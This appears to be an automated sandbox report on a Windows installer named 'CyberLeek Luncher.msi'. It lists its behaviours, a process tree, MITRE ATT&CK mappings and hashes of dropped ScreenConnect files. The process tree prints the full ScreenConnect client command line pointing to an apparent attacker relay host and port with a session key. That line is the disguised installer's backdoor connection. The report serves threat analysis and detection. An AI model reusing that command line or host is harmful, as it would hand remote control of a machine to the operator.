Overview

overview

8

Static

static

3

CyberLeek Luncher.msi

windows10-2004-x64

8

CyberLeek Luncher.msi

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    148s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    22/08/2026, 19:03

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General

  • Target
    CyberLeek Luncher.msi
  • Size 14.5MB
  • Sample260822-xqqnjaybmd
  • SHA256 398884e64e18976af9933233898b5398b9102f9af4045b1e5231bab7c92aadcd
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
backdoordiscoverypersistenceprivilege_escalationransomwareratrevoked_codesign

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

    persistence
  • Signed with revoked ConnectWise certificate 2 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

    revoked_codesign
  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

    backdoorrat
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    persistenceprivilege_escalation
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

    persistenceprivilege_escalation
  • Drops file in System32 directory 2 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 17 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I "C:\Users\Admin\AppData\Local\Temp\CyberLeek Luncher.msi"
    1⤵
    • Enumerates connected drives
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:2132
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4104
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 35D130E27FF36D1CB0DE7A91FE3C39C6 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:5012
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI1EE8.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240721890 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:5060
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:2964
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 95742984E2D21A5B771DFA1D173576FD
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:4636
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 84256F93F03BA5CCAA4B9F9057A64633 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:3156
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:812
    • C:\Program Files (x86)\ScreenConnect Client (e934a059a3e150c6)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (e934a059a3e150c6)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=gg.noktaarts.com&p=8041&s=971bf3dc-71b1-4bd9-8bca-ee822cbbeec6&k=BgIAAACkAABSU0ExAAgAAAEAAQDFmPat1eJOqN6O6e%2bioZ7Xr%2bO954g09YmZMwkK614N6ot6GFirMQLr6kyEdNLu%2bbTh238kWl5HMtH%2f%2b8xh%2bj4fitzcXb2%2bYd1NrnR%2fL%2bDbLzcWj3SYXayhRCYoFDfLGxe%2fbLDeIV22AynAGPuIBMqzHBj2BfHn%2fo31EDt6JQ0JB29LJK%2fUpOVXCNIXrqxJ8LMPHPPCll%2fZaTna%2bv4YzJXAgyzPmcRElZaFkCN6cL7pCqD4w8JQ%2bm%2bP7XmErV4dUmxWiMCtSETLD8eOQZNnRFMhKD5KRz22AofNMngOoZK5gxXVHDdOtobxhW%2bLnygPvrzdPeeEpO8NK8IE9BmFs8mi&c=zz&c=&c=&c=&c=&c=&c=&c="
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4856
      • C:\Program Files (x86)\ScreenConnect Client (e934a059a3e150c6)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (e934a059a3e150c6)\ScreenConnect.WindowsClient.exe" "RunRole" "6e272314-159f-42fd-99cc-a1cefa1f9cd8" "User"
        2⤵
        • Executes dropped EXE
        PID:1052
      • C:\Program Files (x86)\ScreenConnect Client (e934a059a3e150c6)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (e934a059a3e150c6)\ScreenConnect.WindowsClient.exe" "RunRole" "b4816286-e20e-4de7-ac3a-786185946830" "System"
        2⤵
        • Executes dropped EXE
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:2788

    Network

          MITRE ATT&CK Enterprise v16

          Reconnaissance

          Resource Development

          Initial Access

          Execution

          Persistence

          Boot or Logon Autostart Execution

          2
          T1547

          Authentication Package

          1
          T1547.002

          Registry Run Keys / Startup Folder

          1
          T1547.001

          Create or Modify System Process

          1
          T1543

          Windows Service

          1
          T1543.003

          Event Triggered Execution

          1
          T1546

          Component Object Model Hijacking

          1
          T1546.015

          Privilege Escalation

          Boot or Logon Autostart Execution

          2
          T1547

          Authentication Package

          1
          T1547.002

          Registry Run Keys / Startup Folder

          1
          T1547.001

          Create or Modify System Process

          1
          T1543

          Windows Service

          1
          T1543.003

          Event Triggered Execution

          1
          T1546

          Component Object Model Hijacking

          1
          T1546.015

          Defense Evasion

          Modify Registry

          1
          T1112

          Credential Access

          Discovery

          Peripheral Device Discovery

          2
          T1120

          Query Registry

          3
          T1012

          System Information Discovery

          3
          T1082

          System Location Discovery

          1
          T1614

          System Language Discovery

          1
          T1614.001

          Lateral Movement

          Collection

          Command and Control

          Exfiltration

          Impact

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e596837.rbs
          • Path C:\Config.Msi\e596837.rbs
          • Size 214KB
          • SHA256 3aab62a65700bb7d716d44ea1466e87e8682ad96a3161f017de8c5e54deac39c
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          Client.Override.en-US.resources
          • Path C:\Program Files (x86)\ScreenConnect Client (e934a059a3e150c6)\Client.Override.en-US.resources
          • Size 373B
          • SHA256 89bcc246f6d9441452712c4f3a2d9a2c599f2d49ed799eea0599713d5f5141dd
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          Client.Override.resources
          • Path C:\Program Files (x86)\ScreenConnect Client (e934a059a3e150c6)\Client.Override.resources
          • Size 11KB
          • SHA256 d67b37593cb3b6de4eb6cb5cf84e3cc94ad0817a223566c3683ca12c6efdfa90
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          Client.en-US.resources
          • Path C:\Program Files (x86)\ScreenConnect Client (e934a059a3e150c6)\Client.en-US.resources
          • Size 49KB
          • SHA256 b26b7a988aba7f94473468cae82846bb672a422b016ed1907d187a5c3bb0f8a0
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          Client.resources
          • Path C:\Program Files (x86)\ScreenConnect Client (e934a059a3e150c6)\Client.resources
          • Size 33KB
          • SHA256 e0d0e5d951ef955f22d110b65b3fedfb8b1710491563d7c541f5e3d9fd4ccee8
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.Client.dll
          • Path C:\Program Files (x86)\ScreenConnect Client (e934a059a3e150c6)\ScreenConnect.Client.dll
          • Size 202KB
          • SHA256 ea1ba32647cf18942e5d26e4d80ade8d25db7984555f55c378c9ad0d33c11271
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.ClientService.dll
          • Path C:\Program Files (x86)\ScreenConnect Client (e934a059a3e150c6)\ScreenConnect.ClientService.dll
          • Size 77KB
          • SHA256 84d0a414d03ab35f65cb149229ac2a64cde9b20f3cb2aba9099c71510a749fe4
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.ClientService.exe
          • Path C:\Program Files (x86)\ScreenConnect Client (e934a059a3e150c6)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 46457d98fb1c53bbccb66c1015eb831355f30c8bf8e6f25cf3183aac2a5fd8ab
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.Core.dll
          • Path C:\Program Files (x86)\ScreenConnect Client (e934a059a3e150c6)\ScreenConnect.Core.dll
          • Size 549KB
          • SHA256 6928d272bdcfb0a1739d4ffee9a1a6e230880a3ce954233a83fdc70024c1e7ad
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.Windows.dll
          • Path C:\Program Files (x86)\ScreenConnect Client (e934a059a3e150c6)\ScreenConnect.Windows.dll
          • Size 1.7MB
          • SHA256 fb81fc9354d12d15f125492c74f766bb538ddc1f9748735b0bdfbf6e945175c6
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.WindowsAuthenticationPackage.dll
          • Path C:\Program Files (x86)\ScreenConnect Client (e934a059a3e150c6)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.WindowsClient.exe
          • Path C:\Program Files (x86)\ScreenConnect Client (e934a059a3e150c6)\ScreenConnect.WindowsClient.exe
          • Size 595KB
          • SHA256 3b150443fbb196446479367dc44888488045ae8eef9b872406656cf33ace2556
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.WindowsClient.exe.config
          • Path C:\Program Files (x86)\ScreenConnect Client (e934a059a3e150c6)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          ScreenConnect.WindowsCredentialProvider.dll
          • Path C:\Program Files (x86)\ScreenConnect Client (e934a059a3e150c6)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 838KB
          • SHA256 c36e1b629985cf5379733de9c2d645446cb3333f8660bf137a46fb227ef170e4
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          app.config
          • Path C:\Program Files (x86)\ScreenConnect Client (e934a059a3e150c6)\app.config
          • Size 2KB
          • SHA256 fa76b87898cb4296d977617b5fa77faa759875d9335c8a37a5d757ad7d87b0b1
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          system.config
          • Path C:\Program Files (x86)\ScreenConnect Client (e934a059a3e150c6)\system.config
          • Size 956B
          • SHA256 ba05c512cdf75ed604f9a3180b992b3d841f789bfbec180f9167b9fcb84602bb
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          MSI1EE8.tmp
          • Path C:\Users\Admin\AppData\Local\Temp\MSI1EE8.tmp
          • Size 1.0MB
          • SHA256 9571cbea87aa83be41b2e63a5cd62498da91793c4fa1fc38baa07a73b1c2d02c
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          Microsoft.Deployment.WindowsInstaller.dll
          • Path C:\Users\Admin\AppData\Local\Temp\MSI1EE8.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.Core.dll
          • Path C:\Users\Admin\AppData\Local\Temp\MSI1EE8.tmp-\ScreenConnect.Core.dll
          • Size 539KB
          • SHA256 613af5bfae8fb43f24c223c3aef411f532eaaf223f9f09a1dad0a4f16fb3672b
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.InstallerActions.dll
          • Path C:\Users\Admin\AppData\Local\Temp\MSI1EE8.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 404b02b47b8f6fe72dd5957694810dddd3d760f530b90aade0eece30fe1950e4
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.Windows.dll
          • Path C:\Users\Admin\AppData\Local\Temp\MSI1EE8.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 0b87dd18e02ce7c363ebe016d81ebfab230230f9821554015c0a3505bf021d6f
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          MSI6FA9.tmp
          • Path C:\Windows\Installer\MSI6FA9.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          e596836.msi
          • Path C:\Windows\Installer\e596836.msi
          • Size 14.5MB
          • SHA256 398884e64e18976af9933233898b5398b9102f9af4045b1e5231bab7c92aadcd
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          metadata-2
          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 26.1MB
          • SHA256 d54b00ae4b27eb62c3992904f6f7895b4e04b36d17bfec6eb88101e6b6a68fd8
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          {0332a52b-0cf1-4b63-b9a1-761d3d3cbbf8}_OnDiskSnapshotProp
          • Path \??\Volume{c61fbfff-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{0332a52b-0cf1-4b63-b9a1-761d3d3cbbf8}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 833b31e75901ed4e06c921312c97c8f1b979b8015bfd15dd386959ee43c0c658
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          memory/1052-120-0x00000000029B0000-0x00000000029E6000-memory.dmp
          Download

          memory/1052-125-0x00000000029F0000-0x0000000002A08000-memory.dmp
          Download

          memory/1052-124-0x0000000002970000-0x0000000002988000-memory.dmp
          Download

          memory/1052-123-0x000000001BE30000-0x000000001BFB8000-memory.dmp
          Download

          memory/1052-122-0x000000001BAF0000-0x000000001BC9C000-memory.dmp
          Download

          memory/1052-121-0x000000001B8B0000-0x000000001B93E000-memory.dmp
          Download

          memory/1052-119-0x00000000007B0000-0x0000000000848000-memory.dmp
          Download

          memory/4104-41-0x0000023500F30000-0x00000235018D4000-memory.dmp
          Download

          memory/4856-82-0x0000000003C40000-0x0000000003CCE000-memory.dmp
          Download

          memory/4856-105-0x00000000040D0000-0x0000000004162000-memory.dmp
          Download

          memory/4856-76-0x0000000001700000-0x0000000001718000-memory.dmp
          Download

          memory/4856-109-0x00000000042C0000-0x0000000004395000-memory.dmp
          Download

          memory/4856-107-0x0000000004030000-0x0000000004071000-memory.dmp
          Download

          memory/4856-104-0x0000000003E10000-0x0000000003E46000-memory.dmp
          Download

          memory/4856-86-0x0000000003E80000-0x000000000402C000-memory.dmp
          Download

          memory/4856-100-0x0000000003DC0000-0x0000000003E10000-memory.dmp
          Download

          memory/5060-26-0x00000000053E0000-0x000000000546E000-memory.dmp
          Download

          memory/5060-22-0x0000000005340000-0x000000000534A000-memory.dmp
          Download

          memory/5060-18-0x0000000005300000-0x000000000532E000-memory.dmp
          Download

          memory/5060-30-0x0000000005630000-0x00000000057DC000-memory.dmp
          Download

          memory/5060-31-0x0000000005DA0000-0x000000000635A000-memory.dmp
          Download